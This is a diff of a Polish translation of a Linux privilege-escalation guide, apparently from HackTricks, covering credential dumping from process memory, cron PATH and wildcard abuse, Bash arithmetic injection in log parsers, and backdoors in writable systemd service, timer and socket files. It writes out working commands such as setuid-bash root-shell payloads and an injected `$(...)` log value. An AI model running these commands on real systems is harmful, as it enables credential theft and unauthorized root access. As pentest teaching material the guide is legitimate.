jeśli będziesz musiał użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). +Sprawdź też, czy **any compiler is installed**. Jest to przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której będziesz go używać (lub na podobnej). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Zainstalowane podatne oprogramowanie -Sprawdź **wersję zainstalowanych pakietów i usług**. Być może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do escalating privileges…\ -Zaleca się ręcznie sprawdzić wersje najbardziej podejrzanego zainstalowanego oprogramowania. +Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieć jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do escalating privileges…\ +Zaleca się ręczne sprawdzenie wersji bardziej podejrzanych zainstalowanych programów. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Jeśli masz dostęp SSH do maszyny, możesz też użyć **openVAS**, aby sprawdzić przestarzałe i podatne na ataki oprogramowanie zainstalowane na tej maszynie. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Zauważ, że te polecenia wyświetlą wiele informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy jakakolwiek zainstalowana wersja oprogramowania jest podatna na znane exploits_ +> [!NOTE] > _Zauważ, że te polecenia pokażą dużo informacji, które w większości będą bezużyteczne; dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy którakolwiek z zainstalowanych wersji oprogramowania jest podatna na znane exploits_ ## Procesy -Rzuć okiem na **jakie procesy** są uruchamiane i sprawdź, czy któryś proces nie ma **większych uprawnień niż powinien** (może tomcat uruchamiany przez root?) +Sprawdź, **jakie procesy** są uruchomione i zweryfikuj, czy któryś proces nie ma **więcej uprawnień niż powinien** (może tomcat uruchomiony przez root?) ```bash ps aux ps -ef top -n 1 ``` -Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w linii poleceń procesu.\ -Sprawdź też **swoje uprawnienia do binarek procesów**, być może możesz którąś nadpisać. +Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je poprzez sprawdzenie parametru `--inspect` w linii poleceń procesu.\ +Sprawdź też **swoje uprawnienia do binarek procesów**, może uda ci się którąś nadpisać. ### Monitorowanie procesów -Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do zidentyfikowania podatnych procesów uruchamianych często lub gdy spełniony jest zestaw wymagań. +Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do identyfikacji podatnych procesów uruchamianych często lub gdy spełnione są określone warunki. ### Pamięć procesu -Niektóre usługi na serwerze zapisują **dane uwierzytelniające w postaci jawnego tekstu w pamięci**.\ -Zwykle będziesz potrzebować **root privileges**, aby odczytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle bardziej przydatne, gdy jesteś już root i chcesz odnaleźć więcej danych uwierzytelniających.\ -Pamiętaj jednak, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które należą do ciebie**. +Niektóre usługi na serwerze zapisują **credentials in clear text inside the memory**.\ +Zwykle potrzebujesz **uprawnień root** aby odczytać pamięć procesów należących do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy jesteś już root i chcesz odnaleźć dodatkowe credentials.\ +Pamiętaj jednak, że **jako zwykły użytkownik możesz czytać pamięć procesów, które należą do Ciebie**. > [!WARNING] -> Zauważ, że obecnie większość maszyn **domyślnie nie pozwala na ptrace**, co oznacza, że nie możesz zrzucać pamięci innych procesów należących do nieuprzywilejowanego użytkownika. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > -> Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób działania ptrace. -> - **kernel.yama.ptrace_scope = 1**: debugowany może być tylko proces macierzysty. -> - **kernel.yama.ptrace_scope = 2**: tylko administrator może używać ptrace, ponieważ wymagana jest capability CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu tej wartości wymagany jest reboot, aby ponownie włączyć ptrace. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz odczytać Heap i przeszukać go w poszukiwaniu danych uwierzytelniających. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Skrypt +#### Skrypt GDB ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Dla danego PID procesu **maps pokazuje, jak pamięć jest mapowana w przestrzeni adresowej tego procesu**; pokazuje też **uprawnienia każdego zmapowanego regionu**. Pseudo-plik **mem** **ujawnia samą pamięć procesu**. Z pliku **maps** wiemy, które **obszary pamięci są czytelne** i ich offsety. Używamy tych informacji, aby **seek into the mem file and dump all readable regions** do pliku. +Dla danego PID, **maps pokazuje, jak pamięć jest zmapowana w wirtualnej przestrzeni adresowej tego procesu**; pokazuje też **uprawnienia każdego zmapowanego regionu**. Pseudo-plikiem **mem** udostępniana jest sama pamięć procesu. Z pliku **maps** wiemy, które **regiony pamięci są czytelne** i ich offsety. Wykorzystujemy te informacje, aby przemieścić się w pliku **mem** i zrzucić wszystkie czytelne regiony do pliku. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` zapewnia dostęp do pamięci **fizycznej** systemu, a nie pamięci wirtualnej. Dostęp do wirtualnej przestrzeni adresowej jądra można uzyskać za pomocą /dev/kmem.\ -Zazwyczaj, `/dev/mem` jest dostępny do odczytu tylko dla **root** i grupy **kmem**. +`/dev/mem` zapewnia dostęp do systemowej **pamięci fizycznej**, a nie pamięci wirtualnej. Do wirtualnej przestrzeni adresowej jądra można uzyskać dostęp za pomocą /dev/kmem.\ +Zazwyczaj `/dev/mem` jest czytelny tylko dla **root** i grupy **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump dla linux -ProcDump to wersja dla linux będąca reinterpretacją klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz ją z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump to implementacja dla linux klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz ją z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Narzędzia -Aby zrzucić pamięć procesu możesz użyć: +Aby zrzucić pamięć procesu, możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące root i zrzucić proces należący do Ciebie -- Script A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root) ### Dane uwierzytelniające z pamięci procesu #### Ręczny przykład -Jeśli znajdziesz, że proces authenticator jest uruchomiony: +Jeśli zauważysz, że proces authenticator jest uruchomiony: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby zrzucenia pamięci procesu) i przeszukać pamięć w poszukiwaniu poświadczeń: +Możesz dump the process (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby dump the memory of a process) i przeszukać credentials wewnątrz memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **kraść poświadczenia w postaci jawnego tekstu z pamięci** i z niektórych **dobrze znanych plików**. Wymaga uprawnień root, aby działać poprawnie. +Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **wykradać poświadczenia w postaci jawnego tekstu z pamięci** i z niektórych **dobrze znanych plików**. Wymaga uprawnień roota, aby działać poprawnie. | Feature | Process Name | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| Hasło GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Wzorce wyszukiwania/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Wyszukiwanie Regexów/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,37 +314,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zaplanowane/Cron zadania +## Zaplanowane zadania/Cron -Sprawdź, czy jakieś zaplanowane zadanie jest podatne. Może uda się wykorzystać skrypt uruchamiany przez root (wildcard vuln? czy można modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretne pliki w katalogu, którego używa root?). +Sprawdź, czy któreś zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? możesz modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretne pliki w katalogu, którego używa root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Ścieżka crona +### Cron path -Na przykład, w pliku _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na przykład, wewnątrz _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Zwróć uwagę, że użytkownik "user" ma prawa zapisu do /home/user_) +(_Zwróć uwagę, że użytkownik "user" ma uprawnienia zapisu do /home/user_) -Jeśli w tym crontabie użytkownik root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ - -Wtedy możesz uzyskać powłokę roota, używając: +Jeśli wewnątrz tego crontab root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ +Wtedy możesz uzyskać root shell używając: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron używający skryptu z wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Jeśli skrypt jest uruchamiany przez root i ma w poleceniu “**\***”, możesz to wykorzystać, by uzyskać nieoczekiwane efekty (np. privesc). Przykład: +Jeśli skrypt uruchamiany przez root ma “**\***” w poleceniu, można to wykorzystać, by wywołać nieoczekiwane zachowania (np. privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Jeśli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** +**Jeśli wildcard jest poprzedzony ścieżką, taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** -Przeczytaj poniższą stronę, aby poznać więcej trików związanych z wildcard exploitation: +Przeczytaj następną stronę, aby poznać więcej trików dotyczących wykorzystywania wildcard: {{#ref}} @@ -354,9 +353,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash wykonuje parameter expansion i command substitution przed arithmetic evaluation w ((...)), $((...)) i let. Jeśli root cron/parser odczytuje pola logu pochodzące z niezaufanego źródła i przekazuje je do kontekstu arytmetycznego, atakujący może wstrzyknąć command substitution $(...), które wykona się jako root podczas uruchomienia crona. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Jeśli cron/parser uruchamiany jako root czyta niezaufane pola logów i przekazuje je do kontekstu arytmetycznego, atakujący może wstrzyknąć command substitution $(...) które wykona się jako root, gdy cron zostanie uruchomiony. -- Dlaczego to działa: W Bash ekspansje zachodzą w tej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, następnie word splitting i pathname expansion. Zatem wartość taka jak `$(/bin/bash -c 'id > /tmp/pwn')0` jest najpierw zastępowana (uruchamiając polecenie), a następnie pozostała liczba `0` jest używana w obliczeniu arytmetycznym, więc skrypt kontynuuje bez błędów. +- Dlaczego to działa: W Bash rozszerzenia zachodzą w tej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, a następnie word splitting i pathname expansion. Dlatego wartość taka jak `$(/bin/bash -c 'id > /tmp/pwn')0` zostanie najpierw podmieniona (uruchamiając polecenie), a potem pozostała część numeryczna `0` jest użyta do obliczeń arytmetycznych, więc skrypt kontynuuje bez błędów. - Typowy podatny wzorzec: ```bash @@ -368,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Eksploatacja: Spraw, aby tekst kontrolowany przez atakującego został zapisany w parsowanym logu, tak aby pole wyglądające jak liczba zawierało command substitution i kończyło się cyfrą. Upewnij się, że Twoje polecenie nic nie wypisuje na stdout (lub przekieruj je), aby obliczenie arytmetyczne pozostało ważne. +- Eksploatacja: Spowoduj zapis do analizowanego logu tekstu kontrolowanego przez atakującego tak, aby pole wyglądające na liczbę zawierało command substitution i kończyło się cyfrą. Upewnij się, że twoje polecenie nie wypisuje nic na stdout (lub przekieruj jego wyjście), aby arytmetyka pozostała poprawna. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -383,36 +382,36 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Jeśli script uruchamiany przez root używa **directory, do którego masz pełny dostęp**, może być przydatne usunięcie tego folderu i **utworzenie symlink wskazującego na inny folder**, serwującego script kontrolowany przez Ciebie. +Jeśli script uruchamiany przez root korzysta z **katalogu, do którego masz pełny dostęp**, może być użyteczne usunięcie tego folderu i **utworzenie symlink wskazującego na inny**, który będzie serwował script kontrolowany przez ciebie. ```bash ln -d -s ``` -### Częste cron jobs +### Częste zadania cron -Możesz monitorować procesy, aby wyszukać te, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i escalate privileges. +Możesz monitorować procesy, aby odnaleźć te, które są wykonywane co 1, 2 lub 5 minut. Być może możesz to wykorzystać do eskalacji uprawnień. -Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **sortować według najmniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: +Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **sortować według najmniej wykonywanych poleceń** i usuwać polecenia, które były wykonywane najczęściej, możesz zrobić: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Możesz także użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (będzie monitorować i wypisywać każdy uruchamiany proces). +**Możesz także użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy uruchamiany proces). ### Niewidoczne cron jobs -Możliwe jest utworzenie cronjobu **umieszczając carriage return po komentarzu** (bez znaku nowej linii), i cron job będzie działać. Przykład (zwróć uwagę na znak carriage return): +Możliwe jest utworzenie cronjob przez **wstawienie carriage return po komentarzu** (bez znaku nowej linii), a cron job będzie działać. Przykład (zwróć uwagę na znak carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Usługi -### Pliki _.service_ z prawem zapisu +### Zapisywalne _.service_ pliki -Sprawdź, czy możesz zapisać jakiś plik `.service`, jeśli tak, **możesz go zmodyfikować**, tak aby **uruchamiał** Twój **backdoor gdy** usługa jest **uruchomiona**, **zrestartowana** lub **zatrzymana** (może być konieczne poczekanie na ponowne uruchomienie maszyny).\ -Na przykład stwórz swój backdoor wewnątrz pliku `.service` za pomocą **`ExecStart=/tmp/script.sh`** +Sprawdź, czy możesz zapisać dowolny plik `.service`. Jeśli tak, możesz go **zmodyfikować**, tak aby **uruchamiał** Twój **backdoor** gdy usługa zostanie **uruchomiona**, **zrestartowana** lub **zatrzymana** (może być konieczny reboot maszyny).\ +Na przykład umieść backdoor w pliku .service używając **`ExecStart=/tmp/script.sh`** ### Zapisywalne binaria usług -Pamiętaj, że jeśli masz **uprawnienia zapisu do binarek uruchamianych przez usługi**, możesz je zmienić na backdoors, tak że gdy usługi zostaną ponownie uruchomione, backdoors zostaną wykonane. +Miej na uwadze, że jeśli masz **uprawnienia zapisu do binariów uruchamianych przez usługi**, możesz je zmodyfikować na backdoor, dzięki czemu po ponownym uruchomieniu usług backdoor zostanie wykonany. ### systemd PATH - Ścieżki względne @@ -420,78 +419,78 @@ Możesz zobaczyć PATH używany przez **systemd** za pomocą: ```bash systemctl show-environment ``` -Jeśli odkryjesz, że możesz **write** w dowolnym z folderów ścieżki, możesz być w stanie **escalate privileges**. Musisz wyszukać **relative paths being used on service configurations** w plikach takich jak: +Jeśli odkryjesz, że możesz **zapisywać** w którymkolwiek z folderów na tej ścieżce, możesz być w stanie **eskalować uprawnienia**. Musisz wyszukać **używanie ścieżek względnych w plikach konfiguracji usług** takich jak: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Następnie utwórz **wykonywalny plik** o **tej samej nazwie co binarka określona przez względną ścieżkę** w folderze PATH używanym przez systemd, do którego możesz zapisywać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie uruchomiony** (użytkownicy bez uprawnień zwykle nie mogą startować/stopować usług, ale sprawdź, czy możesz użyć `sudo -l`). +Następnie utwórz **plik wykonywalny** o **tej samej nazwie co plik binarny z relatywnej ścieżki** wewnątrz folderu PATH używanego przez systemd, do którego możesz zapisać, a gdy serwis zostanie poproszony o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twój **backdoor zostanie uruchomiony** (użytkownicy bez uprawnień zwykle nie mogą uruchamiać/zatrzymywać serwisów, ale sprawdź, czy możesz użyć `sudo -l`). **Dowiedz się więcej o usługach za pomocą `man systemd.service`.** ## **Timery** -**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń opartych na czasie kalendarzowym oraz zdarzeń opartych na czasie monotonicznym i mogą działać asynchronicznie. +**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**` i które kontrolują pliki lub zdarzenia `**.service**`. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń opartych na czasie kalendarzowym i zdarzeń monotonicznych oraz mogą być uruchamiane asynchronicznie. -Możesz wyliczyć wszystkie timery za pomocą: +Możesz wylistować wszystkie timery za pomocą: ```bash systemctl list-timers --all ``` ### Zapisywalne timery -Jeśli możesz zmodyfikować timer, możesz sprawić, że wykona on niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`). +Jeśli możesz zmodyfikować timer, możesz sprawić, że wykona on niektóre istniejące jednostki systemd.unit (np. `.service` lub `.target`). ```bash Unit=backdoor.service ``` -W dokumentacji możesz przeczytać, czym jest Unit: +W dokumentacji można przeczytać, co to jest Unit: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Jednostka, która zostanie aktywowana, gdy ten timer wygaśnie. Argument to nazwa jednostki, której sufiks nie jest ".timer". Jeśli nie zostanie podana, ta wartość domyślnie wskazuje na service o takiej samej nazwie jak jednostka timera, z wyjątkiem sufiksu. (Patrz wyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były identyczne, z wyjątkiem sufiksu. -Dlatego, aby nadużyć tego uprawnienia musiałbyś: +W związku z tym, aby nadużyć tego uprawnienia, musiałbyś: -- Znaleźć jakąś jednostkę systemd (np. `.service`), która **uruchamia wykonalny plik, do którego masz prawa zapisu** -- Znaleźć jakąś jednostkę systemd, która **uruchamia względną ścieżkę** i masz **uprawnienia do zapisu** w **systemd PATH** (aby podszyć się pod ten plik wykonywalny) +- Znaleźć jakąś jednostkę systemd (np. `.service`), która **uruchamia binarkę, do której można zapisywać** +- Znaleźć jednostkę systemd, która **uruchamia względną ścieżkę** i masz **uprawnienia do zapisu** w **systemd PATH** (aby podszyć się pod ten wykonywalny plik) -**Learn more about timers with `man systemd.timer`.** +**Dowiedz się więcej o timerach za pomocą `man systemd.timer`.** ### **Włączanie timera** -Aby włączyć timer potrzebujesz uprawnień roota i wykonać: +Aby włączyć timer, potrzebujesz uprawnień root i musisz wykonać: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Uwaga: **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Gniazda +## Sockets -Unix Domain Sockets (UDS) umożliwiają **komunikację procesów** na tych samych lub różnych maszynach w modelu klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji międzykomputerowej i są konfigurowane za pomocą plików `.socket`. +Unix Domain Sockets (UDS) umożliwiają **komunikację procesów** na tej samej lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`. Sockets can be configured using `.socket` files. -**Dowiedz się więcej o gniazdach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: +**Learn more about sockets with `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale w skrócie służą do **wskazania, gdzie będzie nasłuchiwać** socket (ścieżka pliku AF_UNIX socket, adres IPv4/6 i/lub numer portu do nasłuchu itp.) -- `Accept`: Przyjmuje argument boolean. Jeśli **true**, dla każdego przychodzącego połączenia **uruchamiana jest instancja service** i przekazywany jest do niej jedynie socket połączenia. Jeśli **false**, wszystkie nasłuchujące sockety **są przekazywane do uruchomionej jednostki service**, i tylko jedna jednostka service jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka service bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie false**. Ze względów wydajnościowych zaleca się pisać nowe demony w sposób odpowiedni dla `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszym tokenem linii poleceń musi być bezwzględna nazwa pliku, po niej argumenty procesu. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje różnią się między sobą, ale w skrócie **wskazują, gdzie ma nasłuchiwać** socket (ścieżka pliku gniazda AF_UNIX, adres IPv4/6 i/lub numer portu do nasłuchiwania itp.) +- `Accept`: Przyjmuje argument boolean. Jeśli **true**, dla każdego przychodzącego połączenia **uruchamiany jest egzemplarz usługi** i przekazywany jest do niego tylko gniazdko połączenia. Jeśli **false**, wszystkie gniazdka nasłuchujące są **przekazywane do uruchomionej jednostki service**, i tylko jedna jednostka service jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla gniazdek datagramowych i FIFO, gdzie pojedyncza jednostka service bezwarunkowo obsługuje cały przychodzący ruch. **Defaults to false**. Ze względu na wydajność zaleca się pisać nowe daemony w sposób zgodny z `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Przyjmują jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie argumenty dla procesu. - `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio. -- `Service`: Określa nazwę jednostki **service**, którą **należy aktywować** przy **przychodzącym ruchu**. To ustawienie jest dozwolone tylko dla socketów z Accept=no. Domyślnie ustawione jest na service o tej samej nazwie co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być potrzeby używania tej opcji. +- `Service`: Określa nazwę jednostki **service**, którą należy **aktywować** przy **przychodzącym ruchu**. To ustawienie jest dozwolone tylko dla socketów z Accept=no. Domyślnie wskazuje na service o tej samej nazwie, co socket (z odpowiednią zamianą sufiksu). W większości przypadków nie powinno być konieczne używanie tej opcji. -### Zapiswalne pliki .socket +### Writable .socket files -Jeśli znajdziesz **zapisywalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie wykonany przed utworzeniem socketu. W związku z tym **prawdopodobnie będziesz musiał poczekać do restartu maszyny.**\ -_Uwaga: system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie wykonany_ +Jeśli znajdziesz **zapisywalny** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś w stylu: `ExecStartPre=/home/kali/sys/backdoor` i backdoor zostanie wykonany przed utworzeniem socketu. W związku z tym **prawdopodobnie będziesz musiał poczekać na reboot maszyny.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Zapisywalne sockety +### Writable sockets -Jeśli **zidentyfikujesz jakiekolwiek zapisywalne sockety** (_mówimy tu o Unix Sockets, a nie o konfiguracyjnych plikach `.socket`_), to **możesz komunikować się** z tym socketem i być może wykorzystać podatność. +Jeśli **zidentyfikujesz dowolny zapisywalny socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), to **możesz komunikować się** z tym socketem i być może wykorzystać jakąś lukę. -### Enumeracja Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -### Połączenie surowe +### Surowe połączenie ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -500,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Przykład wykorzystania:** +**Przykład eksploatacji:** {{#ref}} @@ -509,48 +508,48 @@ socket-command-injection.md ### HTTP sockets -Zwróć uwagę, że może istnieć kilka **sockets nasłuchujących żądań HTTP** (_nie mówię tu o .socket files, lecz o plikach działających jako unix sockets_). Możesz to sprawdzić za pomocą: +Zauważ, że mogą istnieć pewne **sockets nasłuchujące żądań HTTP** (_Nie mam na myśli plików .socket, tylko pliki działające jako unix sockets_). Możesz to sprawdzić za pomocą: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Jeśli 